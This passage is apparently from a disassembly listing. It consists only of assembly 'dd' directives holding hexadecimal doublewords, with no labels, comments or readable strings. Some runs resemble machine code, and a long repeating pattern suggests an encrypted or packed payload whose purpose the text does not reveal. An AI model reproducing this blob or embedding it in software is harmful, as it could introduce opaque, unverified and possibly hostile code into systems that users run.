		dd 10325308h, 41B58BFAh, 8B060B08h, 4D8D89D6h, 8B060B17h
		dd 0B20F59Dh, 1985C706h, 1C060B01h, 89000061h, 0B2EBDB5h
		dd 850F06h, 0C7000000h,	0B100985h, 6, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 805B1938h, 0DE96066h, 0ED000000h, 71BE5085h,	3B0E3623h
		dd 0BE7DF403h, 0F61E28Ah, 684h,	718D0100h, 0FF060B1Fh
		dd 0B2A41B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 668AF858h, 669604BFh, 40C5C881h
		dd 9E9h, 864F5200h, 2C3EB2F3h, 95FFF29Bh, 60B0AC5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9EC35646h, 2D852924h
		dd 6A060B19h, 0DD95FF00h, 8B060B32h, 6319EBC0h,	97B4FE04h
		dd 0D9462A6Ch, 0DA6EBA3Ch, 77B5B91Ch, 0CF13FA13h, 1265CBCFh
		dd 0B13EE853h, 0F232565Dh, 0F201EEACh, 0B1325655h, 0B13256ABh
		dd 0E80D1AD5h, 0EBA173EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
		dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
		dd 0B1325675h, 0B13256BAh, 0B132545Dh, 0B63581AEh, 0AB325257h
		dd 803247ABh, 0E63251D5h, 0F63256EBh, 0F6325677h, 0B132EEB8h
		dd 61B8565Dh, 2D5206CFh, 0B13247BEh, 0FA2893ABh, 96D417FDh
		dd 72402B3Eh, 0AE8C2F35h, 305463D6h, 584D0EB5h,	0B13256A8h
		dd 5C3641C1h, 0D7AFE589h, 2753A85Eh, 0E1035951h, 0EB035927h
		dd 0BE6A0CE2h, 5860066Ch, 0B13256A0h, 942ED9B9h, 103AFD51h
		dd 6C86D113h, 803D75B8h, 803D0425h, 0E9680EE0h,	0F5B90E07h
		dd 5952528Ah, 0B132565Ah, 554520BAh, 0E1215498h, 0CD5D18A3h
		dd 0BCDBCA70h, 303256BAh, 0C26317Bh, 8B2551Ch, 0C49E09A9h
		dd 29C2D7CDh, 0B134BF4Eh, 0E6E456EAh, 42507B31h, 0E3D0827h
		dd 0B1B9378Bh, 0B13EBECEh, 2C465657h, 28D2B5B9h, 0E43E698Bh
		dd 48B90D80h, 0B9DBCA2Dh, 0A13256BAh, 8D1D5854h, 0D7794C6Bh
		dd 2AD4B8D6h, 0B1325A42h, 0C34F82D5h, 0F4B1629h, 7B073A6Ah
		dd 3853CB81h, 0E1367219h, 0B135BFFCh, 0C1815657h, 2D3D3842h
		dd 0E1035970h, 0B13BBFB8h, 636F5675h, 0AF6BF619h, 0BE279AA2h
		dd 0B134BF9Fh, 46C45657h, 22B09BCFh, 0E9680E8Fh, 0B13256B2h
		dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
		dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
		dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
		dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
		dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
		dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B1DA36EAh
		dd 0EB325675h, 0F875BC3Bh, 34BF504Ch, 0B7222806h, 0F7AFD4DEh
		dd 33BF50BAh, 0B7238454h, 0F793D463h, 0FFDA5064h, 593256B3h
		dd 0B1325626h, 0F7BFD469h, 0B1325046h, 776056ABh, 0BA1A1350h
		dd 0E35A00ECh, 4EAEFECDh, 0BA21030Fh, 0A9B7DB5Bh, 4E3458D3h
		dd 0C0B7DF87h, 0DB345DA0h, 0A1323ED1h, 0F15A56EAh, 0DB325578h
		dd 0EBE2A9BAh, 82469656h, 0F7BFD427h, 33BB5046h, 0B723103Ah
		dd 0B23F166Ch, 82CADDEAh, 0E398A5B5h, 0B15A52D0h, 0D932564Dh
		dd 0B13252AEh, 23CD563Dh, 0B7395DDAh, 50B0DF8Fh, 0D03447ACh
		dd 0F7BFD3FEh, 0D1F150ABh, 83BBD49Ah, 0B13250A5h, 33F55617h
		dd 0B7395992h, 0B13246D5h, 3A52958Bh, 0A074DBCFh, 0B10DD5BCh
		dd 0CEB17529h, 0BA4654BEh, 0B52229D4h, 76B158DFh, 76D8BDC1h
		dd 0B13346ADh, 43D95675h, 0B222117Dh, 5A32565Dh, 0E4F13747h
		dd 5952BADCh, 0B13256ABh, 8DD8D78Fh, 3A3447A0h,	0A074B3C7h
		dd 0B977DDBCh, 33B150D4h, 0B723104Bh, 73FB3753h, 595256AFh
		dd 0B13256D5h, 0D1D8D7B0h, 3A34473Fh, 0A074B708h, 54806D5Bh
		dd 0C53447E8h, 3A0CDD6Ch, 0FE845974h, 0B075A0D4h, 0B236236Ah
		dd 9A30BDACh, 3A711563h, 0BA1617D8h, 0B8BFDDA8h, 8A345D43h
		dd 8A3B2473h, 3237210Ch, 78D9522Ch, 0B946994Eh,	0A53BEB33h
		dd 6D95056h, 595295CFh,	0B1325657h, 9D8D7F1h, 3A34479Fh
		dd 0A074B750h, 0B032EF73h, 710156BAh, 33B9FDAEh, 0B723104Fh
		dd 0F7D7D4DEh, 725350BAh, 0B132BEB5h, 306856EAh, 0A078B49Fh
		dd 0F4B790BCh, 0E7345D75h, 0AE5F6FC6h, 0E487A983h, 3C345DB8h
		dd 0BF4F4E50h, 0E3E2A9ECh, 31323E25h, 0B15856BAh, 0F7BFE4A2h
		dd 61CD50BFh, 0B15A0C0Fh, 0DB32562Bh, 5080A9D5h, 4E3447ACh
		dd 0E4F137A5h, 5952BA31h, 0B132565Dh, 81D8D7F4h, 3A34471Ch
		dd 29DA5EDEh, 0E43256D7h, 0F7AFC415h, 8A6F5064h, 5F475ACFh
		dd 0B130D0B5h, 73FB37AEh, 3A67565Fh, 4DF6D547h,	59610183h
		dd 0B13256EAh, 0D5D8D72Fh, 3A3447F1h, 0CCB95E28h, 596401BEh
		dd 0B1325660h, 904696A0h, 4E67AE5Eh, 0A074CB78h, 0C4090B73h
		dd 0D72022B6h, 56B248D6h, 312CDC5Eh, 2CDAA6B4h,	5A3256ADh
		dd 4D4FDF01h, 4ECC0B02h, 0EF6D0D8Ah, 78CE1331h,	0E4325A9Fh
		dd 75B1BA25h, 0E06401AFh, 497791F8h, 0B13256D5h, 0F7FFD42Dh
		dd 0B1335064h, 0C4B956BAh, 0AFB93055h, 0F7BFEC25h, 0EEB95046h
		dd 0C5E95DA3h, 0C4EC6DDAh, 0BD6FDDECh, 323E09FCh, 5BD9427Dh
		dd 312CDD3Bh, 353DBE55h, 0B1325699h, 0BEDBAD2Bh, 0B1329351h
		dd 5AC9D6EAh, 0B18ED27Ah, 4AB256BAh, 1DB659BFh,	313256AEh
		dd 353DB5ACh, 0B1325631h, 0D6C9D7B3h, 29B65909h, 31325675h
		dd 3054A65Dh, 0BEB259A6h, 0B132C72Ah, 41D1D657h, 0BE42AD2Bh
		dd 0B132D351h, 0AFB930EAh, 31CAB5F5h, 0F346EE41h, 0C53768DDh
		dd 9C0CD693h, 8FB26E23h, 4E0122C3h, 0A0749B57h,	0AFB930ECh
		dd 0D7CAB1F5h, 59B3AD3Bh, 3A547629h, 41D5D6B0h,	30C9D731h
		dd 0D121226Bh, 2CA0A980h, 0EC3447ACh, 0D0CE13FCh, 0B0CE2B39h
		dd 0BB93528h, 0B7396427h, 7CB0DD07h, 883447EDh,	0C36A66E9h
		dd 8888DDBAh, 0E1345D7Ah, 0F7FFD431h, 8D0B504Ch, 8C4D0E9Eh
		dd 0F4F546BCh, 0B1325453h, 7635BDD5h, 0B133AEAFh, 0BB95675h
		dd 0B7231037h, 6A3949D6h, 6F0949DAh, 0ECB95922h, 494FD5A7h
		dd 0B23122D5h, 0EEBBAEB7h, 0A5F5D571h, 7101B451h, 0B13296B4h
		dd 0AFB930AEh, 313E2BDCh, 0BB46BD50h, 31C2B555h, 0A7462611h
		dd 0B6F4649Eh, 0B0759153h, 0B132565Dh, 71B19125h, 0B1A5BF52h
		dd 765456ABh, 3B3A59D2h, 0BED1D6F4h, 39B29DF5h,	0F6F557E5h
		dd 0B132565Fh, 32F5DDAEh, 0C8D95097h, 210CD7CDh, 313D2245h
		dd 0BF47C6D4h, 4E4CD713h, 0B346C62Ah, 76B952B6h, 33BF0945h
		dd 0B72310BEh, 23CD00FBh, 0B7231074h, 0BB4696E1h, 3BF9EFEh
		dd 0B7231053h, 3A6446B6h, 23CD0360h, 0B72310CAh, 46FC7DF6h
		dd 0CCB1080Ch, 0A1475712h, 0D7981FC5h, 0D7B75902h, 0F78459F6h
		dd 0AAD9FDAFh, 0B3CA2BD4h, 95445DEh, 1A549FDEh,	353DEE8Ch
		dd 73DFD13h, 5A9957FCh,	3A96A55Fh, 0EF6B0D69h, 0B9F09F08h
		dd 5DB903ABh, 0B132BEB5h, 306856EAh, 0A07F949Fh, 0B977DDBCh
		dd 0F7A7D4D4h, 785350BFh, 0E4325295h, 75B1BA20h, 0B1DA362Dh
		dd 0EB3256EAh, 0FCD1BCF4h, 0F4F550ABh, 0B13256A5h, 4D7791AEh
		dd 0B1325657h, 3A549698h, 7CB091CBh, 0B03447ACh, 0D7325675h
		dd 21A2AD3Bh, 4AB25628h, 0B9B65946h, 0F1325656h, 0BEDBAD2Bh
		dd 0B132A851h, 4AB216EAh, 45B6599Eh, 0F13256BAh, 0D7C2B1DDh
		dd 313DAD2Fh, 0B1D7D258h, 333156ABh, 0B73940F0h, 53C9D6AAh
		dd 0B1FCD27Ah, 4AB256BAh, 0DB659BEh, 0D73256AEh, 5255ADD6h
		dd 0B188D2A4h, 52B256D5h, 0C1C9D61Ah, 0B187D27Ah, 3A5456BAh
		dd 49D1D643h, 0C58AAD2Eh, 0B40CD610h, 8FB214DFh, 310F22F8h
		dd 89463ED4h, 7CB0A935h, 0D73447FCh, 56B248D6h,	4AB33056h
		dd 9546BED6h, 312CDDCDh, 3054A632h, 0C5F2D711h,	4E673662h
		dd 0A074CB28h, 0F4BB0B5Bh, 0CCB13752h, 343D57ABh, 0B1325783h
		dd 83BBEC5Eh, 3A6250E1h, 0A0749BF7h, 810E6FBCh,	0A0B05905h
		dd 3A3256AFh, 0BA3D6FEDh, 33B906ADh, 0B7231018h, 0E9026AD3h
		dd 0B1C8D97Ah, 0BB956BAh, 0B72310CCh, 0F7A3D42Dh, 38265046h
		dd 0A175DF9Ch, 7CB0DD85h, 3A3447ACh, 386A6669h,	64DB5EE5h
		dd 7632565Dh, 0B130AEEBh, 0B6D95657h, 0B0CA136Ch, 3A3256D5h
		dd 0A074C750h, 20B0D573h, 0A53447FCh, 0F6BB61D4h, 0B2CAD5BEh
		dd 33F55A22h, 0B7231066h, 0B13256D7h, 49B15301h, 326D2B77h
		dd 0C532AEC7h, 0F7845946h, 0B1B2FFAFh, 0B7475657h, 0B4DAD5EBh
		dd 4E1F5E3Eh, 323256EAh, 0BAD9539Dh, 7CA8DDE9h,	3A34471Bh
		dd 186965AAh, 31325657h, 773142DEh, 0B2379656h,	0A0749B68h
		dd 0F6BB1E73h, 0BD75DFB2h, 69C500B6h, 69C59085h, 0B23796D4h
		dd 0A0749B29h, 0F6BB1ED3h, 0BD75DFE2h, 7101689Eh, 19331030h
		dd 0B21323DDh, 0B3F2D568h, 0B13257ECh, 0C5E95DABh, 1EA8DCDCh
		dd 31344664h, 72315796h, 383A1133h, 0A5D95A1Ah,	4E178E59h
		dd 9A325657h, 32EAA16Dh, 0F6BB5415h, 0BD75DFE2h, 72FB378Dh
		dd 32DEDDEFh, 5952AA99h, 0B13256AEh, 45D8D70Dh,	3A3447E4h
		dd 0A074DB6Fh, 32FB65ECh, 353D564Ah, 0B1325678h, 0C4CD51D6h
		dd 0B947A9A2h, 0B041BE07h, 0B44156ABh, 5A269156h, 4D77DF08h
		dd 4E3E238Ah, 86CD5ECFh, 0B1330AB5h, 26B059AEh,	3A325657h
		dd 0B60BAAEEh, 0B1BED4DAh, 0F4CD56EAh, 0B54DD589h, 323A22BAh
		dd 0C5325A22h, 93CBDACh, 4ECDA9A8h, 0B1325312h,	5A99A5D5h
		dd 0A14DD529h, 323D2270h, 0C43446C5h, 0F6B9174Ch, 0BD6DDDAAh
		dd 0F6B915BCh, 0BD6DDDAFh, 0F6B96F3Eh, 0BD6DDDEEh, 0C43A094Eh
		dd 0E6B904AFh, 0A1677D59h, 3A2603ADh, 6B195A08h, 0EB37BD28h
		dd 0F6B9443Eh, 0BD6DDDEEh, 3236095Eh, 3B315351h, 0B7394540h
		dd 0B222292Dh, 9A735722h, 0B06EDF72h, 4ECDEED4h, 0B48BA915h
		dd 42325675h, 4E64BF11h, 7853A9A2h, 0E432466Ch,	75B1BADCh
		dd 0B1DA3657h, 0EB3256D5h, 0E1EDBC6Bh, 0BB95064h, 0B7231037h
		dd 8EB19F6Eh, 20B659AEh, 3A325657h, 0BD47A9ACh,	0E13A232Ah
		dd 0B132DE02h, 32372575h, 53D9427Dh, 4ECE13D4h,	0C4CD5ADBh
		dd 5905A95Fh, 0B13256DAh, 0F4B93CA7h, 0C3356F16h, 4D77A916h
		dd 0B1362939h, 0CEB15E29h, 0B34656A2h, 4E8A58BCh, 8CDA954h
		dd 0B13256D0h, 7AD9FD19h, 0B42229F6h, 0CEB159CEh, 0A047504Dh
		dd 0B575DDEFh, 5A3E09DCh, 0B575DDB6h, 5A3E095Eh, 0B575DDF9h
		dd 9A3E09FEh, 5AB152E5h, 0A14DD558h, 0F03323ADh, 0EDBB8F7Ch
		dd 4E8A57AAh, 8CDA92Ah,	0B13256EFh, 36D9FD86h, 0B9F09FDBh
		dd 5DB9035Dh, 0B977DDCEh, 0C33E136Ch, 0A1776DA3h, 5ACA55A2h
		dd 0B1D9AFE9h, 0BDF09F14h, 5DB903BAh, 0D1CE92DEh, 0B1325646h
		dd 5BB30C57h, 0B723071Eh, 6A019FE6h, 3ACE0B63h,	0A074DBCFh
		dd 0B10DD5BCh, 8EB13229h, 32372351h, 40D94290h,	0B1362928h
		dd 0CEB15EA1h, 0B34656E6h, 0F4CD5E9Eh, 0A5F5D546h, 0CEB18DB6h
		dd 0BE4653BEh, 0B72229D4h, 3A7347DEh, 0EEB95292h, 3A2FBDE6h
		dd 0EEB95232h, 3A21BDB6h, 0EEB9521Ah, 0B56D7DA2h, 3237BDD4h
		dd 0C43146D4h, 681917D4h, 0B0330A63h, 4ECDA9CDh, 0B137EF45h
		dd 1AC1565Dh, 3A53C145h, 72FBAA12h, 596107FBh, 0B13256D5h
		dd 0F1D8D7B0h, 3C344727h, 0A074F320h, 0B156EE5Bh, 63DA56AEh
		dd 3A325657h, 5AF36DA0h, 0B57955C1h, 0A64097D1h, 8A221D76h
		dd 5A30247Bh, 5A26BD5Fh, 0CEA8DBBCh, 4E3447FEh,	3C3ABD78h
		dd 0A09EF34Fh, 0EAE1A9ECh, 0E4F10E2Ch, 0B1DABA31h, 0EB32565Dh
		dd 0E3BDBC2Fh, 3C525046h, 0A074F311h, 0B977DDD3h, 0F4B95163h
		dd 0B575DF79h, 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h
		dd 34F436ABh, 0B7397E90h, 0C2283EADh, 4CDFE62h,	0B73945EFh
		dd 0CC2AD3D0h, 61CD50A0h, 60B8DB05h, 0E03447EDh, 3C68862Ah
		dd 0A0748768h, 0F1855973h, 0E3EADDB6h, 0B2686752h, 0E0B0DF6Dh
		dd 0D0345D73h, 0E85251C3h, 0
		dd 0EA815Ah, 52061153h,	2451828Bh, 6DB9060Bh, 0F741C64Eh
		dd 39055AE1h, 25000030h, 7FFFFFFFh, 24518289h, 595A060Bh
		dd 0E85251C3h, 0
		dd 30EA815Ah, 8B061153h, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h
		dd 8BC3595Ah, 8DC08BC0h, 11494185h, 66D0FF06h, 858DC18Bh
		dd 61152F9h, 2B18589h, 858D060Bh, 6115329h, 17DD8589h
		dd 0B8060Bh, 0B000000h,	47840FC0h, 0C6000000h, 0B284585h
		dd 0DF685606h, 0FFA9C530h, 0B1355B5h, 18858D06h, 0FF060E7Dh
		dd 8D8D50D0h, 60B0545h,	68046A51h, 1000h, 159DB5FFh, 0D0FF060Bh
		dd 159DBD8Bh, 7F03060Bh, 0F8C7813Ch, 0C7000000h, 202447h
		dd 9D8D6000h, 60B0EB9h,	0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h
		dd 234CF6h, 8EBh, 42120000h, 9DE956DDh,	68000004h, 61154CFh
		dd 0FA2B42E9h, 553D68FFh, 38E90611h, 68FFFA2Bh,	61156AFh
		dd 0FA2B2EE9h, 0F4C3D7FFh, 5A77BE6Fh, 2C1D6C99h, 0F1C0D637h
		dd 407F8562h, 0DE3D2493h, 8F78FBDAh, 7FA84B76h,	28C51E29h
		dd 8871E2DFh, 49B8CC60h, 400FC585h, 0FBDADED8h,	605DA617h
		dd 30CA71F3h, 0D5719C35h, 2E4E4EF8h, 48B5C715h,	67BC0D30h
		dd 7492F65Ah, 9F1A11E0h, 10E4DEBDh, 6133B0D0h, 0EBE6313Ah
		dd 566BB667h, 0D1A594E7h, 502ABBF1h, 12E6E7BDh,	2C361EFBh
		dd 2E6D6h, 2D463E00h, 0AD06B31h, 9F05A7E2h, 0B989A8BDh
		dd 8374DCDh, 4D3C1ECFh,	29F07669h, 393F0487h, 9A12D863h
		dd 4111EFEBh, 72AA1E64h, 0A3CB112Ah, 4B1CD62Eh,	64915BBFh
		dd 0D03D2613h, 3D0C1FC7h, 0D6117549h, 8FDA5871h, 27C5BA88h
		dd 11000003h, 0F815CE05h, 0A6479CADh, 10FD665Bh, 0FF28CB0Ah
		dd 0FA599AA5h, 3D0018F3h, 8DB0C926h, 506FB956h,	24116283h
		dd 961ED23Fh, 0C58549F2h, 6F1E8675h, 40E4760Dh,	0BD84EBDEh
		dd 12836951h, 0C32C370Eh, 283286B9h, 0EEEA219Eh, 0E8D499A2h
		dd 7A496C18h, 0F60AE33Ah, 23077BCFh, 1B2E7105h,	84913C85h
		dd 8BB3BE49h, 14FE8664h, 2B9B3h, 0B897E300h, 0E3B4ABBh
		dd 0D0E938D5h, 0A59CE203h, 744B51BEh, 0EA0168EFh, 5BB4AF96h
		dd 0BE47F42h, 0F411C2FDh, 0BC4D96A3h, 484C38ACh, 74C3C585h
		dd 0AD0D6F8Ch, 6BA11C0Bh, 4C9EF299h, 848076D8h,	0DF1C9BDh
		dd 7B05A525h, 0E6D3243Ah, 625DAB12h, 0E7E6209Eh, 0A32276ABh
		dd 2F24C069h, 1C9E92Ch,	0BD770000h, 0C03CCC1Eh,	9CC0FF04h
		dd 0E42538F0h, 77D67054h, 99A31722h, 94E3E70Fh,	1E64C394h
		dd 0E6081DF0h, 48392F93h, 57B04F56h, 0FF456D42h, 0CBAB48ACh
		dd 0BCC85CB1h, 33C3947Bh, 0DA01EBCFh, 0C9944F48h, 3E4930F3h
		dd 0E30BE503h, 0BD9F2C1Eh, 0CF67EB2Fh, 3A6132BFh, 45BF4E6Ah
		dd 2C353BA4h, 3A24259Ah, 0B5AF2668h, 47C69Bh, 6F2E0000h
		dd 5AE4760Dh, 0B47810E5h, 61E1527Ah, 0C394A765h, 0D1A590E4h
		dd 1F3802FDh, 0F472065Ah, 73FD2B55h, 9FEA5AFBh,	0B82CBEBDh
		dd 3A61DBCCh, 72D17F43h, 0DCAC8408h, 93A61DBh, 47E61AABh
		dd 622C36B7h, 9Fh, 0F8D5DE8Ah, 605FA514h, 0CCF30BFAh, 66EA0478h
		dd 0E35762B7h, 7DCE93Ah, 9418319Fh, 5BFB0CC3h, 0A590E448h
		dd 4942FD41h, 1DE3430Ch, 71E2C63Ah, 1ECC5725h, 669F7196h
		dd 82209F42h, 2B2D5A97h, 0A645C26Ch, 0DE8FAC0Dh, 0C3290DEDh
		dd 6CF7CED2h, 89467983h, 8661A7DAh, 47AE61E1h, 71000001h
		dd 0D8352E25h, 8667FCCDh, 709D467Bh, 0DFC82B2Ah, 0DA79FAC5h
		dd 1D207893h, 0EDD029C6h, 0B08F9976h, 43142A3h,	0B63E32DFh
		dd 0C5854BD2h, 0DE7EE655h, 8F78FBDAh, 18944F7Ah, 24A897EDh
		dd 0DED046E0h, 0E072F8D5h, 941D384Ch, 0A2908FC3h, 0C1B31A91h
		dd 2077C63Ah, 0AA13F711h, 75F76C59h, 0DDE43AEBh, 0A9DD1569h
		dd 3EC39491h, 91CEBA32h, 7941C394h, 5663B405h, 3C80AEE2h
		dd 9D11DB60h, 0BD9E6D3Ah, 0F825370Bh, 0CCFD08A0h, 0AB1F2A7Dh
		dd 7EE07357h, 3A61230Eh, 1FFB01ECh, 0B49CAC48h,	6BDF3312h
		dd 8B2AE817h, 97477092h, 0B6839479h, 53840ADh, 90DEB1h
		dd 0BD660000h, 8C9F4750h, 91F5C9BDh, 7F3FE92Dh,	50D4061Dh
		dd 0BD84EB12h, 0A9A4F05Dh, 0F18C1B5h, 0B3C42132h, 61323286h
		dd 5D8DB69Eh, 3F161E8Fh, 92169711h, 0ABAECF2Dh,	0F1D06F52h
		dd 17F610F6h, 0A02C3702h, 0EA152075h, 3E4DA93Fh, 927B9511h
		dd 5E2A4281h, 916AB609h, 369C4D20h, 0F8C2BD6Ah,	0FA8EFA72h
		dd 39016AB6h, 728871C5h, 4642FF43h, 8E555E47h, 0B6FA6266h
		dd 0B99DE56Ah, 7BB12EBAh, 0BEB399Ch, 0FC090422h, 39A7DC1h
		dd 22000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
		dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
		dd 68CF7BCFh, 794Ah, 89242C89h,	4C581E5h, 83000000h, 2C8704EDh
		dd 0DF685C24h, 89000065h, 0B968240Ch, 89000064h, 3A68241Ch
		dd 89000013h, 9BA2414h,	89061154h, 8B545AD1h, 0C483241Ch
		dd 0DBF6804h, 4890000h,	89C88924h, 0FF580843h, 835B2434h
		dd 34FF04C4h, 0C4835924h, 26BDE904h, 0D172FFFAh, 0AAC36345h
		dd 1A7776A2h, 0FD693555h, 11581BB8h, 0FFC50306h, 69DB43E0h
		dd 90654771h, 9CFC5235h, 2BF5011h, 3A8CA51Eh, 1CDAD239h
		dd 40CBA425h, 0F2E84D35h, 457C7C7Ah, 0B51C3147h, 8705297Fh
		dd 7FADB950h, 64BC782Eh, 31A20338h, 0E0C1A33Dh,	0FCBCFE5Ah
		dd 0C6AAD946h, 0B860441Fh, 3A22A70Eh, 3478B617h, 0FE866h
		dd 0FAAB0000h, 0EDCE77Bh, 0ABDCF2C1h, 0CFA0D524h, 81F55912h
		dd 5C84C1h, 0D840F00h, 60000000h, 0E4818FBFh, 69E78132h
		dd 617887F0h, 8A0FFF2Bh, 2, 1C8BD78Bh, 815A5139h, 9EA6F0F3h
		dd 10E96Ah, 21D40000h, 0F1A6E9FAh, 0CF781E5h, 0E325256Fh
		dd 0F3817111h, 1FD7DFD6h, 5E8h,	0E35F8B00h, 5AFC4CD3h
		dd 0F308C381h, 8A0F0C32h, 6, 830Fh, 0E8530000h,	0Ch, 3B2BEF9Bh
		dd 0BEE73D4Eh, 43840C5Eh, 18C0Fh, 5AF50000h, 6639048Fh
		dd 0EF81C68Bh, 4E62B5Fh, 81C7B70Fh, 0E62B5BC7h,	42B86604h
		dd 34FF81DFh, 0FFFFFA4h, 0FFFF7D85h, 0EE8166FFh, 8EBA3E6h
		dd 1A6BC2CDh, 0
		dd 0A6AE9h, 5B516800h, 7AE90611h, 68FFFAE9h, 6115C20h
		dd 0FAE970E9h, 5DDE68FFh, 66E90611h, 68FFFAE9h,	6115EB5h
		dd 0FAE95CE9h, 5FE268FFh, 52E90611h, 68FFFAE9h,	611617Fh
		dd 0FAE948E9h, 627D68FFh, 3EE90611h, 43FFFAE9h,	0CE7502Eh
		dd 0C722EDE9h, 86612EA8h, 589B6462h, 0F4D9A620h, 0B70F6F3Bh
		dd 0F2CC2DC8h, 0E88E205h, 4E48A641h, 0DB0C6881h, 7BAEB656h
		dd 51C92C7Dh, 0D17B5396h, 0E51BDE69h, 45EE6A8Eh, 759D5CB8h
		dd 2B8763DFh, 4640BE01h, 0C52DB1F9h, 582C78EBh,	21194F8Ah
		dd 0B17EE9C7h, 0C66F9256h, 8D7DD010h, 0EEA32DBh, 53E44F01h
		dd 7D6F9254h, 579014E7h, 0AC8CBE18h, 0F3A308A3h, 5093BC0Dh
		dd 42A4BF17h, 0CD7AA644h, 2758h, 637B7D00h, 42A6A19Fh
		dd 0CD7AA644h, 73E464CFh, 11E94F8Ah, 33E770FBh,	4B816F92h
		dd 17C22980h, 0E365BC0Eh, 72000000h, 7E5836B4h,	5D4AD700h
		dd 405D759Dh, 447C8F81h, 4811C775h, 2C717D9h, 5BF502FEh
		dd 2504EF65h, 725A1DAh,	5D8C15DBh, 136B0E39h, 619A5DBBh
		dd 7CEEE802h, 7517209Ch, 18328CE2h, 4945A1A2h, 0C9C53BBEh
		dd 0FC6CEB7Eh, 2C42759Dh, 78D4B235h, 0B816548Fh, 6B63855Eh
		dd 7E6030DCh, 0F5895AB4h, 3C4F8B10h, 0D08815DEh, 53AF6F92h
		dd 2600F8A4h, 4B8C7920h, 5955B33h, 9887B0DDh, 88E64C92h
		dd 8755A4AAh, 0D25A336Ah, 44DF5225h, 0C7004985h, 601C2BA3h
		dd 45A5BE98h, 37BFE49h,	3FAB498Bh, 0AA0E45Ah, 82ACBh, 0E88E500h
		dd 4B43A641h, 840279FCh, 0C2BC383Bh, 1C7AF275h,	81955AB3h
		dd 47A26D69h, 4DFA826h,	0D81BE4E2h, 965B24A2h, 0B7B07DE6h
		dd 0CAC77BAEh, 5A34B493h, 9AF40AEDh, 637B362Dh,	0A90581F8h
		dd 1F12F94Fh, 9548E0A1h, 4D968E53h, 0C87709CEh,	7EDF1FC8h
		dd 6ED24F8Ah, 0DBB33730h, 923EC931h, 923F90D9h,	0D7223A6Fh
		dd 0E0D1982h, 0C08ABCh,	0B4AB0000h, 29B25836h, 9C57F5D1h
		dd 759D5955h, 0AE1FB88Eh, 0D8DAAD2Ch, 3236B42Fh, 0A31D4300h
		dd 9966C239h, 84A6205Eh, 2600EAFCh, 89B5613Dh, 1BE4544Fh
		dd 0EC0CCF17h, 84E77892h, 94F2AE0Ah, 83A4C343h,	0A7C10249h
		dd 9C7C202Fh, 4D49A1A2h, 8F076782h, 5BDFB1B5h, 0C13CAEE4h
		dd 75Bh, 907F5794h, 0CBB41255h,	0AF5D128h, 44338BEFh, 824D49A1h
		dd 38B0648Dh, 0F576F15Eh, 0B1CB2E99h, 718F6AD5h, 0D741AA15h
		dd 0AEB87F0Ch, 0E215947Bh, 4D3034B4h, 9EC4AFCh,	70503F9Bh
		dd 0AC3CC112h, 655B759Dh, 9DAC2DF2h, 1AF64A75h,	18F40AEDh
		dd 9DAC42CFh, 0B00E6875h, 0A494A69Ah, 9A7650AFh, 36B4362Dh
		dd 0D329B258h, 0FA31DD91h, 0AF0B0D5Ch, 0C740FB71h, 8446FD4Bh
		dd 40A68C7Bh, 0A8BE9CFAh, 0FFDCAACFh, 0F0BDA649h, 7759D9Fh
		dd 5B8C0C3Bh, 4F8AB733h, 0B708221Eh, 0C6C03A39h, 245A9D6Ah
		dd 19DA80AAh, 136B83E2h, 9AA501F9h, 0BC935FCFh,	7742E4C6h
		dd 7906D10Fh, 0AAE84C52h, 6BB836B3h, 10E8121Dh,	90EE0CE7h
		dd 28F58B6h, 11E84B73h,	0C84C2729h, 18BA611Fh, 87E500EFh
		dd 60F3D10Fh, 0E84B749Bh, 0FF6D6981h, 0CF01F903h, 0A23A1319h
		dd 9A36C1FEh, 4B9489D1h, 408B81E8h, 4F3CB21h, 19338BE1h
		dd 4B940256h, 8B7EF6E8h, 0B90680FEh, 6660985Bh,	8EB14C4h
		dd 227694F2h, 0CF1876BCh, 0C238B033h, 7BFCDA26h, 897887FFh
		dd 9BF53DA1h, 2D64D848h, 0D775C5BCh, 3565CC1Ch,	9D6CE4DCh
		dd 6AE1DF44h, 0B011D74Fh, 734BA240h, 6CEF61D9h,	2D1A250Fh
		dd 305h, 9386D4CAh, 6E68804Bh, 0BF8354B2h, 0DA4F8A74h
		dd 0CD5E8966h, 54C48382h, 0F84EA892h, 4F2E37A1h, 9BF90685h
		dd 7945FBDh, 2CEE83ACh,	9C50232Ch, 99C870B8h, 0E7FF8BA1h
